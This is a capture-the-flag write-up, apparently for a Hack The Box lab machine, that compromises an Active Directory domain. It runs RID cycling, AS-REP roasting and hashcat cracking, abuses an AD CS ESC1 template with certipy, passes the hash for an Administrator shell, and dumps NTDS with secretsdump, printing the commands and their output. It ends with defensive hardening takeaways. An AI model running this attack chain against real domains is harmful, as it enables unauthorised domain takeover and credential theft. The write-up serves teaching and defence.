Enumeration
Nmap immediately painted a domain controller: Kerberos, LDAP, SMB, and DNS all present, with the hostname IRONCLAD-DC and the domain ironclad.htb disclosed in the LDAP and certificate metadata.
nmap -sV -sC -p- --min-rate 5000 -oA ironclad 10.10.11.62
# 53/tcp open domain Simple DNS Plus
# 88/tcp open kerberos-sec Microsoft Windows Kerberos
# 135/tcp open msrpc
# 139/tcp open netbios-ssn
# 389/tcp open ldap Microsoft Windows AD LDAP (Domain: ironclad.htb)
# 445/tcp open microsoft-ds
# 464/tcp open kpasswd5
# 636/tcp open ldapssl
# 3268/tcp open ldap Global Catalog
# 5985/tcp open http Microsoft HTTPAPI (WinRM)
SMB permitted a null session. That alone doesn't list shares here, but it does allow querying the domain via RPC. RID cycling through lookupsid enumerated every domain principal without a single valid credential:
nxc smb 10.10.11.62 -u '' -p '' --rid-brute 5000 | grep SidTypeUser
# 1103: IRONCLAD\svc_backup (SidTypeUser)
# 1104: IRONCLAD\j.reed (SidTypeUser)
# 1105: IRONCLAD\m.doyle (SidTypeUser)
# 1106: IRONCLAD\a.frost (SidTypeUser)
# 1107: IRONCLAD\svc_web (SidTypeUser)
# Save the usernames for the next step
nxc smb 10.10.11.62 -u '' -p '' --rid-brute 5000 \
| grep -oP 'IRONCLAD\\\K[a-z._]+' | sort -u > users.txt
AS-REP Roasting
With a valid user list but no passwords, the first thing worth checking on any AD engagement is which accounts have Kerberos pre-authentication disabled. Those accounts will hand an attacker an encrypted blob (the AS-REP) that is derived from the user's password — crackable entirely offline, with no lockout risk. Impacket's GetNPUsers sprays the list and returns any roastable hashes:
impacket-GetNPUsers ironclad.htb/ -usersfile users.txt \
-dc-ip 10.10.11.62 -no-pass -format hashcat
# [-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
# [email protected]:a91f...c3d2$8b0e... <- roastable
# [-] User m.doyle doesn't have UF_DONT_REQUIRE_PREAUTH set
Only j.reed was configured with DONT_REQ_PREAUTH. Feeding the hash to hashcat mode 18200 with rockyou cracked it in seconds:
hashcat -m 18200 jreed.asrep /usr/share/wordlists/rockyou.txt
# [email protected]:...:Autumn2025!
# Validate the credential against SMB
nxc smb 10.10.11.62 -u j.reed -p 'Autumn2025!'
# [+] ironclad.htb\j.reed:Autumn2025!
WinRM was open (5985), and j.reed turned out to be a member of the Remote Management Users group, so Evil-WinRM gave an interactive shell and the user flag:
evil-winrm -i 10.10.11.62 -u j.reed -p 'Autumn2025!'
# *Evil-WinRM* PS C:\Users\j.reed\Desktop> type user.txt
Mapping the Domain with BloodHound
Rather than guess at the escalation path, I collected the full graph with the Python BloodHound ingestor using the credentials in hand, then loaded it into the GUI to look for anything reachable from j.reed.
bloodhound-python -u j.reed -p 'Autumn2025!' -d ironclad.htb \
-ns 10.10.11.62 -c All --zip
The user graph showed no direct ACL abuse from j.reed to a high-value target — no GenericWrite, no WriteDacl, nothing obvious. But the collection also flagged a Certificate Authority, ironclad-DC-CA, and a published template that the BloodHound certificate view highlighted in red. AD CS misconfigurations are frequently the intended path on modern Windows machines precisely because they bypass the ACL graph people fixate on.
ESC1 is the canonical AD CS escalation: a certificate template that (1) permits client authentication, (2) lets the enrollee supply an arbitrary subject alternative name, and (3) allows a low-privileged group to enroll. Any one of those on its own is harmless. All three together let a normal user request a certificate as anyone, including a Domain Admin.
Privilege Escalation — AD CS ESC1
Certipy enumerates the CA and every published template, and marks which are vulnerable and to which technique. Running it as j.reed confirmed the finding:
certipy find -u [email protected] -p 'Autumn2025!' \
-dc-ip 10.10.11.62 -vulnerable -stdout
# Certificate Templates
# Template Name : IroncladWebEnroll
# Enabled : True
# Client Authentication : True
# Enrollee Supplies Subject : True
# Enrollment Rights : IRONCLAD.HTB\Domain Users
# [!] Vulnerabilities
# ESC1 : Enrollee supplies subject and template allows client authentication
The IroncladWebEnroll template lets any Domain User enroll and supply their own subject. Since j.reed is a Domain User, I requested a certificate for that template while specifying the built-in Administrator as the alternate UPN:
certipy req -u [email protected] -p 'Autumn2025!' \
-dc-ip 10.10.11.62 -ca ironclad-DC-CA \
-template IroncladWebEnroll -upn [email protected]
# [*] Saved certificate and private key to 'administrator.pfx'
That PFX is now a valid client-authentication certificate for the domain administrator. Certipy authenticates with it over PKINIT, retrieves a Kerberos TGT, and — because the DC returns the account's NT hash in the PAC via UnPAC-the-hash — hands back the Administrator's NT hash directly:
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.62
# [*] Using principal: [email protected]
# [*] Got TGT
# [*] Got hash for '[email protected]': aad3b435...:7a1c9f2e...
Domain Admin
With the Administrator NT hash, a pass-the-hash over WinRM (or psexec/wmiexec) gives a shell as the domain's most privileged account and the root flag:
evil-winrm -i 10.10.11.62 -u administrator -H 7a1c9f2e...
# *Evil-WinRM* PS C:\Users\Administrator> whoami
# ironclad\administrator
# *Evil-WinRM* PS C:\Users\Administrator> type C:\Users\Administrator\Desktop\root.txt
# Full domain compromise — dump the NTDS database
impacket-secretsdump -hashes :7a1c9f2e... [email protected]
Key Takeaways
- Null-session RID cycling is still the cheapest recon on a lot of domains. A DC that answers anonymous RPC lookups gives up its entire user list, and the user list is the raw material for AS-REP roasting, password spraying, and Kerberoasting. Restricting anonymous access (
RestrictAnonymous/ thePre-Windows 2000 Compatible Accessgroup) removes the enumeration primitive that every subsequent step depended on. - Kerberos pre-authentication should be disabled on exactly zero accounts.
DONT_REQ_PREAUTHexists for legacy interoperability nobody has needed in twenty years. Audit for it with a one-line LDAP filter (userAccountControl:1.2.840.113556.1.4.803:=4194304) and clear the flag everywhere. If a service genuinely requires it, that account's password must be long and random enough that an offline crack is infeasible. - AD CS is domain-admin-equivalent infrastructure and is almost always misconfigured. ESC1 through ESC16 are configuration flaws, not software bugs — no patch fixes a template that lets Domain Users supply their own subject. Run Certipy (or Locksmith) against every CA, remove
ENROLLEE_SUPPLIES_SUBJECTfrom templates that also grant client-auth EKUs, require manager approval on sensitive templates, and enable the strong certificate mapping enforcement introduced after CVE-2022-26923. Certificate abuse bypasses the ACL-based thinking that most AD hardening focuses on.